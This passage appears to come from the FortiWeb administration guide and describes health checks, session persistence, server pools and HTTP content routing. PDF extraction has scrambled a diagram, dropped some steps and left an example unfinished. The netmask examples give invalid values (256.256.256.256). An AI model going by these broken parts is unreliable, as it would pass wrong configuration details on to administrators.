Your health check can use more than protocol to check server responsiveness. You can specify that a server is available
if it passes a single test in the list of tests or only if it passes all the tests.
To view the status currently detected by server health checks, use the Policy Status dashboard. For details, see Policy
Status dashboard on page 696.
To configure a server health check
1. Before configuring a server health check, if it requires a trigger, configure the trigger. For details, see Viewing log
messages on page 718.
2. Go to Server Objects > Server > Health Check.
l To create a health check, click Create New.
lTo create a health check based on a predefined health check, select a predefined health check, click Clone,
and then enter a name for the new health check.
Note: The name cannot be changed after this part of the configuration is
saved. To rename a part of the configuration, clone it, select it in all parts of
the configuration that reference the old name, then delete the item with the
old name.
Relationship l And—FortiWeb considers the server to be responsive when it passes all

the tests in the list.
l Or—FortiWeb considers the server to be responsive when it passes at
least one of the tests in the list.
Trigger Policy Select the name of a trigger, if any, that will be used to log or notify an
administrator if a server becomes unresponsive.
5. Click OK.
6. In the rule list, do one of the following:
l To add a rule, click Create New.
l To modify a rule, select it and click Edit.
Type Select the protocol that the server health check uses to contact the server.

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l ICMP—Send ICMP type 8 (ECHO_REQUEST or “ping”) and listen for

either ICMP type 0 (ECHO_RESPONSE or “pong”) indicating
responsiveness, or timeout indicating that the host is not responsive.
l TCP—Send TCP SYN and listen for either TCP SYN ACK indicating
responsiveness, or timeout indicating that the host is not responsive. If
the response is SYN ACK, send TCP ACK to complete the three-way
handshake.
l TCP Half Open—Send TCP SYN and listen for either TCP SYN ACK
indicating responsiveness, or timeout indicating that the host is not
responsive. If the response is SYN ACK, send TCP RST to terminate
the connection. This type of health check requires fewer resources from
the pool member than TCP.
l TCP SSL—Send an HTTPS request. FortiWeb considers the host to be
responsive if the SSL handshake is successful, and closes the connection
once the handshake is complete. This type of health check requires fewer
resources than HTTP/HTTPS.
l HTTP—Send an HTTP or HTTPS request, depending on the real server
type, and listen for a response that matches the values required by the
specified Matched Content or a timeout that indicates that the host is
not responsive.
The protocol to use depends on whether you enable SSL for that server in
the server pool. Contact occurs on the protocol and port number specified
for that web server in the server pool.
URL Path Type the URL that the HTTP or HTTPS request uses to verify the
responsiveness of the server (for example, /index.html).
If the web server successfully returns this URL, and its content matches your
expression in Matched Content on page 166, it is considered to be responsive.
Available only if Type on page 164 is HTTP or HTTPS. The maximum length
is 127 characters.
Timeout Type the maximum number of seconds that can pass after the server health
check. If the web server exceeds this limit, it will indicate a failed health check.
Retry Times Type the number of times, if any, that FortiWeb retries a server health check
after failure. If the web server fails the server health check this number of
times consecutively, it is considered to be unresponsive.
Interval Type the number of seconds between each server health check.
Method Specify whether the health check uses the HEAD, GET, or POST method.
Available only if Type on page 164 is HTTP or HTTPS.
Match Type l Matched Content—If the web server successfully returns the URL
specified by URL Path on page 165 and its content matches the Matched
Content on page 166 value, FortiWeb considers the server to be
responsive.

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l Response Code—If the web server successfully returns the URL

specified by URL Path on page 165 and the code specified by Response
Code on page 166, FortiWeb considers the server to be responsive.
l All — If the web server successfully returns the URL specified by URL
Path on page 165 and its content matches the Matched Content on page
166 value, and the code specified by Response Code on page 166,
FortiWeb considers the server to be responsive.
Available only if Type on page 164 is HTTP or HTTPS.
Matched Content Enter one of the following values:

l The exact reply that indicates that the server is available.
l A regular expression that matches the required reply.
This value prevents the test from falsely indicating that the server is available
when it has actually replied with an error page, such as the one produced by
Tomcat when a JSP application is not available.
To create and test a regular expression, click the >> (test) icon. This opens a
Regular Expression Validator window where you can fine-tune the
expression. For details, see Regular expression syntax on page 880
Available only if Type on page 164 is HTTP or HTTPS and Match Type on
page 165 is All or Matched Content on page 166.
Response Code Enter the response code that you require the server to return to confirm that it
is available.
Available only if Type on page 164 is HTTP or HTTPS and Match Type on
page 165 is All or Matched Content.
8. Click OK to save the settings and close the rule.

9. Add any additional tests you want to include in the health check by adding additional rules.
10. Click OK to save and close the health check.
11. To use the server health check, select it in a server pool or server pool member configuration. For details, see
Creating a server pool on page 169.
See also

l Creating a server pool on page 169
Configuring session persistence
After FortiWeb has forwarded the first packet from a client to a pool member, some protocols require that subsequent
packets also be forwarded to the same back-end server until a period of time passes or the client indicates that it has
finished transmission.
A session persistence configuration specifies a persistence method and timeout. You apply the configuration to Server
Balance server pools to apply the persistence setting to all members of the pool.

167
To create a persistence configuration
1. Go to Server Objects > Server > Persistence and click Create New.

Type Specifies how FortiWeb determines the pool member to forward subsequent
requests from a client to after its initial request. For the initial request,
FortiWeb selects a pool member using the load balancing method specified in
the server pool configuration.
l Source IP—Forwards subsequent requests with the same client IP
address and subnet as the initial request to the same pool member. To
define how FortiWeb derives the appropriate subnet from the IP address,
configure IPv4 Netmask on page 168 and IPv6 Mask Length on page
168.
l HTTP Header—Forwards subsequent requests with the same value for
an HTTP header as the initial request to the same pool member. Also
configure Header Name on page 168.
l URL parameter—Forwards subsequent requests with the same value
for a URL parameter as the initial request to the same pool member. Also
configure Parameter Name on page 168.
l Insert Cookie—FortiWeb adds a cookie with the name specified by
Cookie Name on page 168 to the initial request and forwards all
subsequent requests with this cookie to the same pool member.
FortiWeb uses this cookie for persistence only and does not forward it to
the pool member. Also configure Cookie Path on page 168 and Cookie
Domain on page 168.
l Rewrite Cookie—If the HTTP response has a Set-Cookie: value
that matches the value specified by Cookie Name on page 168, FortiWeb
replaces the value specified by the keyword with a randomly generated
cookie value. FortiWeb forwards all subsequent requests with this
generated cookie value to the same pool member.
l Persistent Cookie—If an initial request contains a cookie with a name
that matches the Cookie Name on page 168 value, FortiWeb forwards
subsequent requests that contain the same cookie value to the same
pool member as the initial request.
l Embedded Cookie—If the HTTP response contains a cookie with a
name that matches the Cookie Name on page 168 value, FortiWeb
preserves the original cookie value and adds a randomly generated
cookie value and a ~ (tilde) as a prefix. FortiWeb forwards all subsequent
requests with this cookie and prefix to the same pool member.
l ASP Session ID—If a cookie in the initial request contains an ASP
.NET session ID value, FortiWeb forwards subsequent requests with the
same session ID value to the same pool member as the initial request.
FortiWeb preserves the original cookie name.
l PHP Session ID—If a cookie in the initial request contains a PHP
session ID value, FortiWeb forwards subsequent requests with the same

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session ID value to the same pool member as the initial request.

l JSP Session ID—FortiWeb forwards subsequent requests with the
same JSP session ID as the initial request to the same pool member.
l SSL Session ID—If a cookie in the initial request contains an SSL
session ID value, FortiWeb forwards subsequent requests with the same
session ID value to the same pool member as the initial request.
IPv4 Netmask Specifies the IPv4 subnet used for session persistence.
For example, if IPv4 Netmask is 256.256.256.256, FortiWeb can

forward requests from IP addresses 192.168.1.1 and 192.168.1.2 to different
server pool members.
If IPv4 Netmask is 256.256.256.0, FortiWeb forwards requests from IP

addresses 192.168.1.1 and 192.168.1.2 to the same pool member.
Available only when Type on page 167 is Source IP.
IPv6 Mask Length Specifies the IPv6 network prefix used for session persistence.
Available only when Type on page 167 is Source IP.
Header Name Specifies the name of the HTTP header that the persistence feature uses to
route requests.
Available only when Type on page 167 is HTTP Header.
Parameter Name Specifies the name of the URL parameter that the persistence feature uses to
route requests.
Available only when Type on page 167 is URL Parameter.
Cookie Name Specifies a value to match or the name of the cookie that FortiWeb inserts.
Available only when Type on page 167 uses a cookie.
Cookie Path Specifies a path attribute for the cookie that FortiWeb inserts, if Type on page
167 is Insert Cookie.
Cookie Domain Specifies a domain attribute for the cookie that FortiWeb inserts, if Type on
page 167 is Insert Cookie
Timeout Specifies the maximum amount of time between requests that FortiWeb
maintains persistence, in seconds.
FortiWeb stops forwarding requests according to the established persistence
after this amount of time has elapsed since it last received a request from the
client with the associated property (for example, an IP address or cookie).
Instead, it again selects a pool member using the load balancing method
specified in the server pool configuration.
3. Click OK.

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For details about applying the configuration to a pool, see Creating a server pool on page 169.
Configuring server-side SNI support
FortiWeb supports server-side SNI (Server Name Indication). You use this feature when you have the following
configuration requirements:
l The operating mode is Reverse Proxy or True Transparent Proxy.
l You offload SSL/TLS processing to FortiWeb and use SSL/TLS for connections between FortiWeb and the pool
member (end-to-end encryption).
l One or more server pool members require SNI support.
In True Transparent Proxy mode, use the following CLI command to enable server-side SNI for the appropriate pool
member:
config server-policy server-pool
edit <server-pool_name>
config pserver-list
edit <entry_index>
set server-side-sni {enable | disable}
In Reverse Proxy mode, use the following CLI command to enable server-side SNI in the appropriate server policy:
config server-policy policy
edit <policy_name>
set server-side-sni {enable | disable}
You cannot use the web UI to enable this option. For details, see the FortiWeb CLI Reference.
Creating a server pool
Server pools define a group of one or more physical or domain servers (web servers) that FortiWeb distributes
connections among, or where the connections pass through to, depending on the operating mode. Reverse Proxy mode
actively distributes connections; Offline Protection mode, both transparent modes, and WCCP mode do not.
l Reverse Proxy mode—When the FortiWeb appliance receives traffic destined for a virtual server, it forwards the
traffic to a server pool. If the pool has more than one member, the physical or domain server that receives the
connection depends on your configuration of load-balancing algorithm, weight, and server health checking.
For pools with multiple members, to prevent traffic from being forwarded to unavailable web servers, you can use a
health check to verify the availability of members. The availability of other members and the Deployment Mode on
page 244 option in the policy determine whether the FortiWeb appliance redistributes or drops the connection when
a physical or domain server in a server pool is unavailable.
l Offline Protection, True Transparent Proxy, Transparent Inspection, and WCCP mode—The FortiWeb
appliance allows traffic to pass through to the server pool when it receives traffic that is:
l passing through a bridge
l directed to the FortiWeb (configured as a WCCP client) by a FortiGate acting as a WCCP server
A server can belong to more than one server pool.

170
To configure a server pool
1. Before you configure a server pool, do the following:

l If clients connect via HTTPS and FortiWeb is operating in a mode that performs SSL inspection instead of SSL
offloading, upload the website’s server certificate. For details, see Uploading a server certificate on page 402.
l If you want to use the pool for load balancing and want to monitor its members for responsiveness, configure
one or more server health checks to use with it. For details, see Configuring server up/down checks on page
163.
l If client connections require persistent sessions, create a persistence configuration. For details, see
Configuring session persistence on page 166.
2. Go to Server Objects > Server > Server Pool.
4. According to the protocol used, select Create HTTP Server Pool.
Name Type a name that can be referenced by other parts of the configuration. The
Type Select the current operation mode of the appliance to display the
corresponding pool options.
For full information on the operating modes, see How to choose the operation
mode on page 70.
Single Server/Server l Single Server—Specifies a pool that contains a single member.

Balance l Server Balance—Specifies a pool that contains multiple members.
FortiWeb uses the specified load-balancing algorithm to distribute TCP
connections among the members. If a member is unresponsive to the
specified server health check, FortiWeb forwards subsequent
connections to another member of the pool.
Available only when Type on page 170 is Reverse Proxy.
Server Health Check Specifies a test for server availability. By default, this health check is used for
all pool members, but you can use the pool member configuration to assign a
different health check to a member.
For details, see Configuring server up/down checks on page 163.
Available only when Type on page 170 is Reverse Proxy and Single
Server/Server Balance on page 170 is Server Balance.
Load Balancing Algorithm l Round Robin—Distributes new TCP connections to the next pool
member, regardless of weight, response time, traffic load, or number of
existing connections. FortiWeb avoids unresponsive servers.
l Weighted Round Robin—Distributes new TCP connections using the
round-robin method, except that members with a higher weight value
receive a larger percentage of connections.
l Least Connection—Distributes new TCP connections to the member
with the fewest number of existing, fully-formed TCP connections. If
there are multiple servers with the same least number of connections,
FortiWeb will take turns and avoid always selecting the same member to

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distribute new connections.

l URI Hash—Distributes new TCP connections using a hash algorithm
based on the URI found in the HTTP header, excluding hostname.
l Full URI Hash—Distributes new TCP connections using a hash
algorithm based on the full URI string found in the HTTP header. The full
URI string includes the hostname and path.
l Host Hash—Distributes new TCP connections using a hash algorithm
based on the hostname in the HTTP Request header Host field.
l Host Domain Hash—Distributes new TCP connections using a hash
algorithm based on the domain name in the HTTP Request header Host
field.
l Source IP Hash—Distributes new TCP connections using a hash
algorithm based on the source IP address of the request.
When the status of a physical server in a server pool is disabled, a health
check indicates it is down, or it is removed from the server pool, FortiWeb will
transfer any remaining HTTP transactions in the TCP stream to an active
physical server in the server pool according to the Load Balancing Algorithm.
For hash-based methods, if you specify a persistence method for the server
pool, after an initial client request, FortiWeb routes any subsequent requests
according to the persistence method. Otherwise, it routes subsequent
requests according to the hash-based algorithm.
Persistence Select a configuration that specifies a session persistence method and

timeout to apply to the pool members.
For details, see Configuring session persistence on page 166.
Comments Type a description of the server pool. The maximum length is 199 characters.
Note: you can also configure to enable HTTP reuse function to determine how to reuse the existing connection
without creating one. See FortiWeb 6.1.1 CLI Reference for details.
6. Click OK.
ID The index number of the member entry within the server pool.
FortiWeb automatically assigns the next available index number.
For round robin-style load-balancing, the index number indicates the order in
which FortiWeb distributes connections.
The valid range is from 0 to 9223372036854775807 (the maximum possible
value for a long integer).
You can use the server-policy server-pool CLI command to change
the index number value. For details, see the FortiWeb CLI Reference:
Status l Enable—Specifies that this pool member can receive new sessions from

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FortiWeb.
l Disable—Specifies that this pool member does not receive new sessions
from FortiWeb and FortiWeb closes any current sessions as soon as
possible.
l Maintenance—Specifies that this pool member does not receive new
sessions from FortiWeb but FortiWeb maintains any current connections.
Server Type Select either IP or Domain to indicate how you want to define the pool
member.
IP Specify the IP address or fully-qualified domain name of the web server to

or include in the pool.
Domain For domain servers, FortiWeb queries a DNS server to query and resolve each
web server’s domain name to an IP address. For improved performance, do
one of the following:
l Use physical servers instead
l Ensure highly reliable, low-latency service to a DNS server on your local
network
Tip: The IP or domain server is usually not the same as a protected host
names group. See Protected web servers vs. allowed/protected host names
on page 160.
Warning: Server policies do not apply features that do not yet support IPv6 to
servers specified using IPv6 addresses or domain servers whose DNS names
resolve to IPv6 addresses.
The Server Type on page 172 value determines the name of this option.
Note: FortiWeb continuously verifies the IP address paired with the domain
name and if the IP address changes, FortiWeb automatically updates the
origin server IP in its configuration. The frequency that FortiWeb updates the
IP depends on the TTL of the DNS record, which is usually 60 seconds in AWS
ALB/ELB.
Port Type the TCP port number where the pool member listens for connections.
The valid range is from 1 to 65,535.
Connection Limit Specifies the maximum number of TCP connections that FortiWeb forwards
to this pool member.
The default is 0 (disabled).
The valid range is from 0 to 1,048,576.

Available only if the Type on page 170 is Reverse Proxy.
Weight If the pool member is part of a pool that uses the weighted round-robin load-
balancing algorithm, type the weight of the member when FortiWeb
distributes TCP connections.
Members with a greater weight receive a greater proportion of connections.
Weighting members can be useful when, for example, some servers in the
pool are more powerful or if a member is already receiving fewer or more
connections due to its role in multiple websites.

173
Available only if the Type on page 170 is Reverse Proxy and Single
Inherit Health Check Clear to use the health check specified by Server Health Check in this server
pool rule instead of the one specified in the server pool configuration.
Server Health Check Specifies an availability test for this pool member.
For details, see Configuring server up/down checks on page 163.
Health Check Domain Name Enter an HTTP host header name to test the availability of a specific host.
This is useful if the pool member hosts multiple websites (virtual hosting
environment).
Available only if Type on page 164 is HTTP.
Backup Server When this option is selected and all the members of the server pool fail their
server health check, FortiWeb routes any connections for the pool to this
server.
The backup server mechanism does not work if you do not specify server
health checks for the pool members.
If you select this option for more than one pool member, FortiWeb uses the
load balancing algorithm to determine which member to use.
Proxy Protocol If the back-end server enables proxy protocol, you need to enable the Proxy
Protocol option on FortiWeb so that the TCP SSL and HTTP traffic can
successfully go through. The real IP address of the client will be included in
the proxy protocol header.
Available only if the Type on page 170 is Reverse Proxy, True Transparent
Proxy, Offline Protection, or Transparent Inspection.
Proxy Protocol Version Select the proxy protocol version for the back-end server.
Available only if the Type on page 170 is Reverse Proxy or True
Transparent Proxy.
HTTP/2 Enable to allow HTTP/2 communication between the FortiWeb and this back-
end web server.
When FortiWeb's security services are applied to the HTTP/2 traffic between
clients and this web server in Reverse Proxy mode:
l Enabling this option makes sure the traffic is transferred in HTTP/2
between FortiWeb and this web server, if this web server supports
HTTP/2.
Note: Make sure that this back web server really supports HTTP/2 before
you enable this, or connections will go failed.

174
l Disabling this option makes FortiWeb to converse HTTP/2 to HTTP/1.x

for this web server, or converse HTTP/1.x to HTTP/2 for the clients, if this
web server does not support HTTP/2.
In True Transparent Proxy mode, it requires this option be enabled and the
SSL on page 174 be well-configured to enable FortiWeb's HTTP/2 inspection.
When HTTP/2 inspection is enabled in True Transparent Proxy mode,
FortiWeb performs no protocol conversions between HTTP/1.x and HTTP/2,
which means HTTP/2 connections will not be established between clients and
back-end web servers if the web servers do not support HTTP/2. For details,
see HTTP/2 support on page 40.
Note: Please confirm the operation mode and HTTP versions your back-end
web servers are running so that HTTP/2 inspection can work correctly with
your web servers. If the Deployment Mode on page 244 in the server policy
configuration is HTTP Content Routing and HTTP/2 on page 247 is enabled,
keep HTTP/2 on page 173 disabled in the server pool configuration.
This option is available only when the Type on page 170 is Reverse Proxy.
SSL For Reverse Proxy, Offline Protection, and Transparent Inspection modes,
specifies whether connections between FortiWeb and the pool member use
SSL/TLS.
For True Transparent Proxy and WCCP modes, specifies whether SSL/TLS
processing is offloaded to FortiWeb and SSL/TLS is used for connections
between FortiWeb and the pool member:
For True Transparent Proxy mode, if the pool member requires SNI support,
see Configuring server-side SNI support on page 169.
For Offline Protection and Transparent Inspection mode, also configure
Certificate File on page 175. FortiWeb uses the certificate to decrypt and scan
connections before passing the encrypted traffic through to the pool members
(SSL inspection).
Note: Ephemeral (temporary key) Diffie-Hellman exchanges are not
supported if the FortiWeb appliance is operating in Transparent Inspection or
Offline Protection mode.
For True Transparent Proxy and WCCP mode, also configure Certificate File
on page 175, Client Certificate on page 175, and the settings described in
Defining your web servers on page 163. FortiWeb handles SSL negotiations
and encryption and decryption instead of the pool member (SSL offloading).
For Reverse Proxy mode:
l You can configure SSL offloading for all members of a pool using a server
policy. For details, see Configuring an HTTP server policy on page 242.
l If the pool member requires SNI support, see Configuring server-side
SNI support on page 169.
Note: When this option is enabled, the pool member must be configured to
apply SSL.
Note: This option and related settings are required to be well-configured for
enabling FortiWeb's HTTP/2 support in True Transparent Proxy mode.
Enable Multi-certificate Enable this option to allow FortiWeb to use multiple local certificates.
Available when:

175
l SSL on page 174 is enabled, and

l FortiWeb is operating in True Transparent Proxy mode that performs
SSL inspection.Offloading vs. inspection on page 386
Multi-certificate Select the local server certificate created in System > Certificates > Multi-
certificate that FortiWeb uses to encrypt or decrypt SSL-secured connections
for the website specified by Defining your web servers. For details, see
Defining your web servers on page 163.
Certificate File Select the server certificate that FortiWeb uses to decrypt SSL-secured
connections.
For True Transparent Proxy and WCCP modes, also complete the settings
described in described in Defining your web servers on page 163.
Available when:
l FortiWeb is operating in a mode other than Reverse Proxy that performs
SSL inspection. See Offloading vs. inspection on page 386.
Certificate Intermediate Select the name of a group of intermediate certificate authority (CA)
Group certificates, if any, that FortiWeb presents to clients. An intermediate CA can
complete the signing chain and validate the server certificate’s CA signature.
Configure this option when clients receive certificate warnings that an
intermediary CA has signed the server certificate specified by Certificate File
on page 175, not a root CA or other CA currently trusted by the client directly.
Alternatively, you can include the entire signing chain in the server certificate
itself before you upload it to FortiWeb. For details, see Uploading a server
certificate on page 402 and Supplementing a server certificate with its signing
chain on page 404.
. Available only if the Type on page 170 is True Transparent Proxy or
WCCP and SSL on page 174 is enabled.
Client Certificate If connections to this pool member require a valid client certificate, select the
client certificate that FortiWeb uses.
Available when:
l FortiWeb is operating in Reverse Proxy, True Transparent Proxy, or
WCCP mode.
Upload a client certificate for FortiWeb using the steps you use to upload a
server certificate. For details, see Uploading a server certificate on page 402.
Client Certificate Proxy Enable to configure seamless PKI integration. When this option is configured,
FortiWeb attempts to verify client certificates when users make requests and
resigns new certificates that it sends to the server.
Also configure Client Certificate Proxy Sign CA on page 175.
For details, see Seamless PKI integration on page 427.
Enable Server Name Enable so that FortiWeb forwards the client's server name in the
Indication (SNI) Forwarding SSL handshake to the server so that the server handles SNI instead of
FortiWeb.
Client Certificate Proxy Sign Select a Sign CA FortiWeb will use to verify and resign new client certificates.

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CA For details, see Seamless PKI integration on page 427.
Add HSTS Header Enable to combat MITM attacks on HTTP by injecting the RFC 6797
(http://tools.ietf.org/html/rfc6797) strict transport security header into the
reply, such as:
Strict-Transport-Security: max-age=31536000
This header forces clients to use HTTPS for subsequent visits to this domain.
If the certificate is invalid, the client’s web browser receives a fatal connection
error and does not display a dialog that allows the user to override the
certificate mismatch error and continue.
Available only when the Type on page 170 is True Transparent Proxy or
WCCP and SSL is enabled.
Add HPKP Header Select an HPKP profile, if any, to use to verify certificates when clients
attempt to access a server.
HPKP prevents attackers from carrying out Man in the Middle (MITM) attacks
with forged certificates. For details, see HTTP Public Key Pinning on page
410.
Available only if SSL on page 174 is enabled.
Certificate Verification Select the name of a certificate verifier, if any, that FortiWeb uses to validate
an HTTP client’s personal certificate.
However, if you select Enable Server Name Indication (SNI) on page 177 and
the domain in the client request matches an entry in the specified SNI policy,
FortiWeb uses the SNI configuration to determine which certificate verifier to
use.
If you do not select a verifier, clients are not required to present a personal
certificate. For details, see How to apply PKI client authentication (personal
certificates) on page 411.
Personal certificates, sometimes also called user certificates, establish the
identity of the person connecting to the website (PKI authentication).
You can require that clients present a certificate instead of, or in addition to,
HTTP authentication. For details, see Offloading HTTP authentication &
authorization on page 340.
Note: The client must support TLS 1.0, TLS 1.1, TLS 1.2, and TLS 1.3.
Available only when the Type on page 170 is Reverse Proxy.
Enable URL Based Client Specifies whether FortiWeb uses a URL-based client certificate group to
Certificate determine whether a client is required to present a personal certificate.
Note: This function is not supported for HTTP/2 communication between the
Client and this back-end web server.
URL Based Client Certificate Specifies the URL-based client certificate group that determines whether a
Group client is required to present a personal certificate.
If the URL the client requests does not match an entry in the group, the client
is not required to present a personal certificate.
For details about creating a group, see Use URLs to determine whether a
client is required to present a certificate on page 424.

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Max HTTP Request Length Specifies the maximum allowed length for an HTTP request with a URL that
matches an entry in the URL-based client certificate group.
FortiWeb blocks any matching requests that exceed the specified size.
This setting prevents a request from exceeding the maximum buffer size.
Client Certificate Forwarding Enable to configure FortiWeb to include the X.509 personal certificate
presented by the client during the SSL/TLS handshake, if any, in an X-
Client-Cert: HTTP header when it forwards the traffic to the protected
web server.
FortiWeb still validates the client certificate itself, but this forwarding action
can be useful if the web server requires the client certificate for the purpose of
server-side identity-based functionality.
Custom Header of Enter a custom subject header that will include the subject of the X.509
CCF Subject personal certificate presented by the client during the SSL/TLS handshake
when it forwards the traffic to the protected web server.
Available only when Client Certificate Forwarding on page 177 is enabled.
Custom Header of Enter a custom certificate header that will include the Base64 certificate of the
CCF Certificate X.509 personal certificate presented by the client during the SSL/TLS
handshake when it forwards the traffic to the protected web server.
Available only when Client Certificate Forwarding on page 177 is enabled.
Enable Server Name Select to use a Server Name Indication (SNI) configuration instead of or in
Indication (SNI) addition to the server certificate specified by Certificate File on page 175.
The SNI configuration enables FortiWeb to determine which certificate to
present on behalf of the pool member based on the domain in the client
request. For details, see Allowing FortiWeb to support multiple server
certificates on page 406.
If you specify both an SNI configuration and Certificate File on page 175,
FortiWeb uses the certificate specified by the Certificate File on page 175
when the domain in the client request does not match a value in the SNI
configuration.
If you select Enable Strict SNI on page 177, FortiWeb always ignores the
value of the Certificate File on page 175.
Enable Strict SNI Select to configure FortiWeb to ignore the value of Certificate File on page
175 when it determines which certificate to present on behalf of the pool
member, even if the domain in a client request does not match a value in the
SNI configuration.
Available only if Enable Server Name Indication (SNI) on page 177 is selected.
SNI Policy Select the Server Name Indication (SNI) configuration that FortiWeb uses to
determine which certificate it presents on behalf of this pool member.
Available only if Enable Server Name Indication (SNI) on page 177 is selected.
Supported SSL Protocols Specify which versions of the SSL or TLS cryptographic protocols FortiWeb
can use to connect securely to this pool member.
TLS protocol changes a lot since version 1.3, including the handshake
algorithm, the supported ciphers and certificates. Make sure you understand
how it works before enabling TLS 1.3.

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Note: O-RTT in TLS 1.3 is disabled by default. You can use the following
command to enable it:
config server-policy setting
set tls13-early-data-mode enable
end
For the supported ciphers of each TLS version, see Supported cipher suites &
protocol versions on page 388.
This option is available when:
l The Type on page 170 is Reverse Proxy, True Transparent Proxy, or
WCCP.
SSL/TLS Encryption Level Specify whether the set of cipher suites that FortiWeb allows creates a
medium-security, high-security, or custom configuration.
For details, see Supported cipher suites & protocol versions on page 388.
Available when:
l The Type on page 170 is Reverse Proxy, True Transparent Proxy, or
WCCP.
Session Ticket Reuse Enable so that FortiWeb reuses the session ticket when establishing an SSL
connection to a pserver. If the SSL connection has a server name, FortiWeb
can only reuse a session ticket for the specified pserver.
Note: This option is available only when SSL on page 174 is enabled.
Session ID Reuse Enable so that FortiWeb reuses the session ID when establishing an SSL
can only reuse a session ID for the specified pserver. If both a session ticket
and ID exist for a pserver, FortiWeb will reuse the ticket.
Note: This option is available only when SSL on page 174 is enabled.
Disable Client-Initiated SSL Select to ignore requests from clients to renegotiate TLS or SSL.
Renegotiation This setting protects against denial-of-service (DoS) attacks that use TLS/SSL
renegotiation to overburden the server.
Available only when the Type on page 170 is Reverse Proxy or True
Transparent Proxy.
Recover Specifies the number of seconds that FortiWeb waits before it forwards traffic
to this pool member after a health check indicates that this server is available
again.
The default is 0 (disabled). The valid range is 0 to 86,400 seconds.
After the recovery period elapses, FortiWeb assigns connections at the rate
specified by Warm Rate on page 179.
Examples of when the server experiences a recovery and warm-up period:
l A server is coming back online after the health check monitor detected it
was down.
l A network service is brought up before other daemons have finished
initializing and therefore the server is using more CPU and memory
resources than when startup is complete.

179
To avoid connection problems, specify the separate warm-up rate, recovery

rate, or both.
Tip: During scheduled maintenance, you can also manually apply these limits
by setting Status on page 171 to Maintenance.
Warm Up Specifies for how long FortiWeb forwards traffic at a reduced rate after a
health check indicates that this pool member is available again but it cannot
yet handle a full connection load.
For example, when the pool member begins to respond but startup is not fully
complete.
Warm Rate Specifies the maximum connection rate while the pool member is starting up.
The default is 10 connections per second. The valid range is 0 to 86,400
connections per second.
The warm up calibration is useful with servers that bring up the network
service before other daemons are initialized. As these types of servers come
online, CPU and memory are more utilized than they are during normal
operation. For these servers, you define separate rates based on warm-up
and recovery behavior.
For example, if Warm Up on page 179 is 5 and Warm Rate is 2, the
maximum number of new connections increases at the following rate:
l 1st second—Total of 2 new connections allowed (0+2).
l 2nd second—2 new connections added for a total of 4 new connections
allowed (2+2).
l 3rd second—2 new connections added for a total of 6 new connections
allowed (4+2).
l 4th second—2 new connections added for a total of 8 new connections
allowed (6+2).
allowed (8+2).
9. Repeat the previous steps for each IP address or domain that you want to add to the server pool.
10. Click OK.
11. To apply the server pool configuration, do one of the following:
l Select it in a server policy directly.
l Select it in an HTTP content writing policy that you can, in turn, select in a server policy.
For details, see Configuring an HTTP server policy on page 242 and Routing based on HTTP content on page 180.
See also

l Configuring server up/down checks on page 163

180
l How to offload or inspect HTTPS on page 396

l Forcing clients to use HTTPS on page 409
Routing based on HTTP content
Instead of dynamically routing requests to a server pool simply based upon load or connection distribution at the TCP/IP
layers, as basic load balancing does, you can forward them based on the host, headers or other content in the HTTP
layer.
HTTP content routing policies define how FortiWeb routes requests to server pools. They are based on one or more of
the following HTTP elements:
l Host
l URL
l HTTP parameter
l Referer
l Source IP
l Header
l Cookie
l X509 certificate field value
l HTTPS SNI
l Geo IP
This type of routing can be useful if, for example, a specific web server or group of servers on the back end support
specific web applications, functions, or host names. That is, your web servers or server pools are not identical, but
specialized. For example:
l 192.168.0.1—Hosts the website and blog
l 192.168.0.2 and 192.168.0.3—Host movie clips and multimedia
l 192.168.0.4 and 192.168.0.5—Host the shopping cart
Another example is a topology where back-end servers or a traffic controller (TC) server externally manage how
FortiWeb routes and balances the traffic load. The TC embeds a cookie that indicates how to route the client’s next
request. In the diagram, if a request has no cookie (that is, it initializes a session), FortiWeb’s HTTP content routing is
configured to forward that request to the TC, Web Server 1. For subsequent requests, as long as the cookie exists,
FortiWeb routes those requests to Web Server 2.

181

Login
Web
Server 1
192.168.1.2/24
Switch
10.0.0.1 port3
Cook
ie: port2
name
192.168.1.1
=coo
kies
essi
192.168.1.3/24
on1.
..
View
Web
Server 2
When FortiWeb operates in Reverse Proxy mode, HTTP Content Routing is partially
supported if HTTP/2 security inspection is enabled. In such cases, FortiWeb can
handle HTTP/2 for client requests, but traffic between FortiWeb and the server(s)
must use HTTP, so the HTTP/2setting in a server pool configuration would have to
remain disabled. For details, see HTTP/2 support on page 40.
To configure HTTP content routing
1. Go to Server Objects > Server > HTTP Content Routing.

3. For Name, enter a unique name that can be referenced in other parts of the configuration. The maximum length is
63 characters.
4. For Server Pool, select a server pool. FortiWeb forwards traffic to this pool when the traffic matches rules in this
policy.
Select only one server pool for each HTTP content routing configuration. However, multiple HTTP content routing
configurations can use the same server pool. For details, see Creating a server pool on page 169.
Note: If the Deployment Mode on page 244 in the server policy configuration is HTTP Content Routing and
HTTP/2 on page 247 is enabled, keep HTTP/2 on page 173 disabled in the server pool configuration.
5. Click OK, then click Create New.

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If you've configured request rewriting, configure HTTP content-based routing

based on the original request, as it appears before FortiWeb has rewritten it.
For more information on rewriting, see Rewriting & redirecting on page 628.
Match Object Select the object that FortiWeb examines for matching values.
HTTP Host
HTTP Host
Specify one of the following values to match:
l Match prefix—The host to match begins with the specified
string.
l Match suffix—The host to match ends with the specified string.
l Match contains—The host to match contains the specified
string.
l Match domain—The host to match contains the specified string
between the periods in a domain name.
For example, if the value is abc, the condition matches the

following hostnames:
dname1.abc.com
dname1.dname2.abc.com
However, the same value does not match the following

hostnames:
abc.com
dname.abc
l Is equal to—The host to match is the specified string.

l Regular expression—The host to match has a value that
matches the specified regular expression.
(value) Specifies a host value to match.

If Regular Expression is selected, the value is an expression that
matches the object.
To create and test a regular expression, click the >> (test) icon. For
details, see Regular expression syntax on page 880.
Reverse Enable so that the condition is met when the value you specify to
match is not matched.
Relationship l And—Matching requests match this entry in addition to other

with previous entries in the HTTP content routing list.
rule l Or—Matching requests match either this entry or other entries in
the list.
Later, you can use the HTTP content routing list options to adjust the
matching sequence for entries.

183
HTTP URL
HTTP URL Specify one of the following values to match:

l Match prefix—The URL to match begins with the specified
string.
l Match suffix—The URL to match ends with the specified string.
l Match contains—The URL to match contains the specified
string.
l Match directory—The URL to match contains the specified
string between delimiting characters (slash).
For example, if the value is abc, the condition matches the

following URLs:
test.com/abc/
test.com/dir1/abc/
However, the same value does not match the following URLs:
test.com/abc
test.abc.com
l Is equal to—The URL to match is the specified string.

l Regular expression—The URL to match matches the specified
regular expression.
(value) Specifies a URL to match.

For example, a literal URL, such as /index.php, that a matching
HTTP request contains.
